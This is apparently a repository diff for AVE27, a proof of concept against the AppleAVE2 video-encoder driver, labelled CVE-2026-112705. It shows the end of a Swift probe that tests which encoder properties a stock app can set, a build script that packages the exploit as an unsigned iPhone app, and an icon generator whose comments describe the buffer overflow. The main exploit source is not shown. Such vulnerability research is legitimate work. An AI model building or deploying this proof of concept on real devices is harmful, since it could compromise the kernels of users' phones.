let st = VTSessionSetProperty(session, key: key as CFString, value: value as CFTypeRef)
|
||||||
|
let rd = readBack(session, key as CFString)
|
||||||
|
emit("stage15 \(key) -> status=\(st) readback: \(rd)")
|
||||||
|
if st == 0 { accepted.append(key) }
|
||||||
|
VTCompressionSessionInvalidate(session)
|
||||||
|
}
|
||||||
|
emit("stage15 accepted-without-entitlement (\(accepted.count)/\(probes.count)): \(accepted.joined(separator: ", "))")
|
||||||
|
emit("stage15 complete — these keys reach the AppleAVE2 driver from a stock app")
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large.
Load diff
Executable
+69
@@ -0,0 +1,69 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Build an unsigned arm64 IPA for AVE27 (CVE-2026-112705 standalone POC).
|
||||||
|
# The IPA is deliberately unsigned — sign it with your own certificate / profile.
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||||
|
OUT="$ROOT/build/device"
|
||||||
|
APP="$OUT/Payload/AVE27.app"
|
||||||
|
IPA="$ROOT/dist/AVE27-unsigned.ipa"
|
||||||
|
SDK="$(xcrun --sdk iphoneos --show-sdk-path)"
|
||||||
|
MIN_IOS="${MIN_IOS:-17.0}"
|
||||||
|
|
||||||
|
echo "== icon =="
|
||||||
|
if [ ! -f "$ROOT/Resources/AppIcon-1024.png" ]; then
|
||||||
|
python3 "$ROOT/scripts/gen_icon.py" > /dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "== clean =="
|
||||||
|
rm -rf "$OUT"
|
||||||
|
mkdir -p "$APP"
|
||||||
|
|
||||||
|
echo "== compile (arm64, min iOS $MIN_IOS) =="
|
||||||
|
xcrun --sdk iphoneos swiftc \
|
||||||
|
-parse-as-library \
|
||||||
|
-swift-version 5 \
|
||||||
|
-O \
|
||||||
|
-target "arm64-apple-ios$MIN_IOS" \
|
||||||
|
-sdk "$SDK" \
|
||||||
|
-o "$APP/AVE27" \
|
||||||
|
"$ROOT"/Sources/*.swift
|
||||||
|
|
||||||
|
echo "== resources =="
|
||||||
|
cp "$ROOT/Info.plist" "$APP/Info.plist"
|
||||||
|
printf 'APPL????' > "$APP/PkgInfo"
|
||||||
|
|
||||||
|
echo "== asset catalog =="
|
||||||
|
xcrun actool "$ROOT/Resources/Assets.xcassets" \
|
||||||
|
--compile "$APP" \
|
||||||
|
--platform iphoneos \
|
||||||
|
--minimum-deployment-target "$MIN_IOS" \
|
||||||
|
--app-icon AppIcon \
|
||||||
|
--output-partial-info-plist "$OUT/assetcatalog_generated_info.plist" \
|
||||||
|
--target-device iphone \
|
||||||
|
--target-device ipad > /dev/null
|
||||||
|
|
||||||
|
echo "== merge asset catalog Info.plist keys =="
|
||||||
|
python3 - "$APP/Info.plist" "$OUT/assetcatalog_generated_info.plist" <<'PY'
|
||||||
|
import plistlib, sys
|
||||||
|
info_path, partial_path = sys.argv[1], sys.argv[2]
|
||||||
|
with open(info_path, "rb") as fh:
|
||||||
|
info = plistlib.load(fh)
|
||||||
|
with open(partial_path, "rb") as fh:
|
||||||
|
partial = plistlib.load(fh)
|
||||||
|
partial.pop("com.apple.actool.compilation-results", None)
|
||||||
|
info.update(partial)
|
||||||
|
with open(info_path, "wb") as fh:
|
||||||
|
plistlib.dump(info, fh, fmt=plistlib.FMT_BINARY)
|
||||||
|
PY
|
||||||
|
|
||||||
|
chmod 755 "$APP/AVE27"
|
||||||
|
chmod 644 "$APP/Info.plist"
|
||||||
|
/usr/bin/plutil -lint "$APP/Info.plist"
|
||||||
|
|
||||||
|
echo "== package Payload/ -> .ipa =="
|
||||||
|
mkdir -p "$ROOT/dist"
|
||||||
|
rm -f "$IPA"
|
||||||
|
( cd "$OUT" && zip -qry "$IPA" Payload )
|
||||||
|
echo "IPA: $IPA"
|
||||||
|
ls -lh "$IPA"
|
||||||
@@ -0,0 +1,173 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
gen_icon.py — the AVE27 app icon, drawn with a signed-distance renderer and
|
||||||
|
written as a raw PNG (no image library).
|
||||||
|
|
||||||
|
The mark: a stack of five temporal layers — an SVC pyramid, widest at the base.
|
||||||
|
The top layer is displaced up and out past the stack's bounding edge: the layer
|
||||||
|
count that walks past what the driver sized. Deep slate field, steel layers,
|
||||||
|
the escaping layer in hot ember with the halo of the write landing somewhere
|
||||||
|
it was never allocated.
|
||||||
|
"""
|
||||||
|
import math
|
||||||
|
import os
|
||||||
|
import struct
|
||||||
|
import zlib
|
||||||
|
|
||||||
|
OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "Resources", "Assets.xcassets", "AppIcon.appiconset")
|
||||||
|
os.makedirs(OUT, exist_ok=True)
|
||||||
|
|
||||||
|
SIZE = 1024
|
||||||
|
|
||||||
|
|
||||||
|
def srgb(c):
|
||||||
|
return max(0, min(255, int(round(c))))
|
||||||
|
|
||||||
|
|
||||||
|
def mix(a, b, t):
|
||||||
|
return tuple(a[i] + (b[i] - a[i]) * t for i in range(3))
|
||||||
|
|
||||||
|
|
||||||
|
def smoothstep(e0, e1, x):
|
||||||
|
t = max(0.0, min(1.0, (x - e0) / (e1 - e0)))
|
||||||
|
return t * t * (3 - 2 * t)
|
||||||
|
|
||||||
|
|
||||||
|
def sd_round_rect(px, py, cx, cy, hw, hh, r):
|
||||||
|
qx = abs(px - cx) - (hw - r)
|
||||||
|
qy = abs(py - cy) - (hh - r)
|
||||||
|
outside = math.hypot(max(qx, 0.0), max(qy, 0.0))
|
||||||
|
inside = min(max(qx, qy), 0.0)
|
||||||
|
return outside + inside - r
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- palette
|
||||||
|
BG_TOP = (0.086, 0.094, 0.118)
|
||||||
|
BG_BOT = (0.024, 0.026, 0.038)
|
||||||
|
LAYER_COLD = (0.36, 0.44, 0.58)
|
||||||
|
LAYER_WARM = (0.52, 0.62, 0.78)
|
||||||
|
EMBER = (1.00, 0.44, 0.14)
|
||||||
|
EMBER_HOT = (1.00, 0.76, 0.38)
|
||||||
|
|
||||||
|
# stack geometry: five layers, widths grow downward, top one escapes
|
||||||
|
STACK_CY = SIZE * 0.555
|
||||||
|
LAYER_H = SIZE * 0.082
|
||||||
|
LAYER_GAP = SIZE * 0.028
|
||||||
|
BASE_HALF = SIZE * 0.30
|
||||||
|
TOP_HALF = SIZE * 0.115
|
||||||
|
LAYERS = 5
|
||||||
|
|
||||||
|
# the escape: top layer displaced up-right, past the stack's right edge
|
||||||
|
ESC_DX = SIZE * 0.145
|
||||||
|
ESC_DY = -SIZE * 0.085
|
||||||
|
|
||||||
|
|
||||||
|
def render():
|
||||||
|
out = bytearray()
|
||||||
|
half = SIZE / 2
|
||||||
|
radius = SIZE * 0.2237
|
||||||
|
tau = math.tau
|
||||||
|
cos, sin, hypot = math.cos, math.sin, math.hypot
|
||||||
|
|
||||||
|
# precompute layer rects: index 0 = base .. LAYERS-1 = top
|
||||||
|
step = LAYER_H + LAYER_GAP
|
||||||
|
total = LAYERS * LAYER_H + (LAYERS - 1) * LAYER_GAP
|
||||||
|
rects = []
|
||||||
|
for i in range(LAYERS):
|
||||||
|
t = i / (LAYERS - 1)
|
||||||
|
hw = BASE_HALF + (TOP_HALF - BASE_HALF) * t
|
||||||
|
cy = STACK_CY + total / 2 - LAYER_H / 2 - i * step
|
||||||
|
cx = half
|
||||||
|
r = LAYER_H * 0.32
|
||||||
|
rects.append((cx, cy, hw, LAYER_H / 2, r, t))
|
||||||
|
|
||||||
|
esc_rect = None
|
||||||
|
if LAYERS >= 1:
|
||||||
|
cx, cy, hw, hh, r, t = rects[-1]
|
||||||
|
esc_rect = (cx + ESC_DX, cy + ESC_DY, hw, hh, r, t)
|
||||||
|
|
||||||
|
esc_cx, esc_cy = esc_rect[0], esc_rect[1]
|
||||||
|
halo_r = SIZE * 0.20
|
||||||
|
|
||||||
|
for y in range(SIZE):
|
||||||
|
out.append(0)
|
||||||
|
py = y + 0.5
|
||||||
|
for x in range(SIZE):
|
||||||
|
px = x + 0.5
|
||||||
|
|
||||||
|
# background
|
||||||
|
g = py / SIZE
|
||||||
|
col = mix(BG_TOP, BG_BOT, g)
|
||||||
|
d = hypot(px - half, py - SIZE * 0.47)
|
||||||
|
lift = 1.0 - smoothstep(0.0, SIZE * 0.66, d)
|
||||||
|
col = tuple(min(1.0, col[i] + 0.05 * lift) for i in range(3))
|
||||||
|
|
||||||
|
# faint baseline under the stack
|
||||||
|
sd_base = abs(py - (STACK_CY + LAYER_H * 2.6)) - SIZE * 0.004
|
||||||
|
if abs(px - half) < BASE_HALF * 1.25:
|
||||||
|
cov = 1.0 - smoothstep(-1.0, 1.0, sd_base)
|
||||||
|
col = mix(col, LAYER_COLD, cov * 0.22)
|
||||||
|
|
||||||
|
# the stack: steel gradient, cold at base, warmer toward the top
|
||||||
|
for (cx, cy, hw, hh, r, t) in rects[:-1]:
|
||||||
|
sd = sd_round_rect(px, py, cx, cy, hw, hh, r)
|
||||||
|
if sd < 1.2:
|
||||||
|
cov = 1.0 - smoothstep(-1.2, 1.2, sd)
|
||||||
|
layer_col = mix(LAYER_COLD, LAYER_WARM, t)
|
||||||
|
col = mix(col, layer_col, cov * 0.9)
|
||||||
|
|
||||||
|
# the escaping layer: ember, halo behind it
|
||||||
|
d_esc = hypot(px - esc_cx, py - esc_cy)
|
||||||
|
if d_esc < halo_r:
|
||||||
|
halo = 1.0 - smoothstep(0.0, halo_r, d_esc)
|
||||||
|
hk = 0.22 * halo * halo
|
||||||
|
col = tuple(min(1.0, col[i] + EMBER[i] * hk) for i in range(3))
|
||||||
|
(cx, cy, hw, hh, r, t) = esc_rect
|
||||||
|
sd = sd_round_rect(px, py, cx, cy, hw, hh, r)
|
||||||
|
if sd < 1.2:
|
||||||
|
cov = 1.0 - smoothstep(-1.2, 1.2, sd)
|
||||||
|
# hot edge on the leading (upper-right) side
|
||||||
|
heat = smoothstep(0.0, 1.0, (px - cx + hw) / (2 * hw)) * 0.7
|
||||||
|
col = mix(col, mix(EMBER, EMBER_HOT, heat), cov)
|
||||||
|
|
||||||
|
# the trail: where the escaping layer used to sit — an ember outline
|
||||||
|
(cx, cy, hw, hh, r, t) = rects[-1]
|
||||||
|
sd_trail = abs(sd_round_rect(px, py, cx, cy, hw, hh, r)) - SIZE * 0.006
|
||||||
|
if sd_trail < 1.2:
|
||||||
|
cov = (1.0 - smoothstep(-1.2, 1.2, sd_trail)) * 0.8
|
||||||
|
col = mix(col, EMBER, cov)
|
||||||
|
|
||||||
|
# rounded-rect alpha
|
||||||
|
sd_r = sd_round_rect(px, py, half, half, half - 0.5, half - 0.5, radius)
|
||||||
|
a = 1.0 - smoothstep(-0.75, 0.75, sd_r)
|
||||||
|
|
||||||
|
out += bytes([srgb(min(1.0, col[0]) * 255), srgb(min(1.0, col[1]) * 255),
|
||||||
|
srgb(min(1.0, col[2]) * 255), srgb(a * 255)])
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
|
||||||
|
def write_png(path, width, height, rgba):
|
||||||
|
def chunk(tag, data):
|
||||||
|
c = struct.pack(">I", len(data)) + tag + data
|
||||||
|
c += struct.pack(">I", zlib.crc32(tag + data) & 0xFFFFFFFF)
|
||||||
|
return c
|
||||||
|
|
||||||
|
ihdr = struct.pack(">IIBBBBB", width, height, 8, 6, 0, 0, 0)
|
||||||
|
raw = zlib.compress(rgba, 9)
|
||||||
|
png = (b"\x89PNG\r\n\x1a\n"
|
||||||
|
+ chunk(b"IHDR", ihdr)
|
||||||
|
+ chunk(b"IDAT", raw)
|
||||||
|
+ chunk(b"IEND", b""))
|
||||||
|
with open(path, "wb") as f:
|
||||||
|
f.write(png)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
data = render()
|
||||||
|
icon = os.path.join(OUT, "AppIcon-1024.png")
|
||||||
|
write_png(icon, SIZE, SIZE, data)
|
||||||
|
print("wrote", icon, os.path.getsize(icon), "bytes")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in new issue
Block a user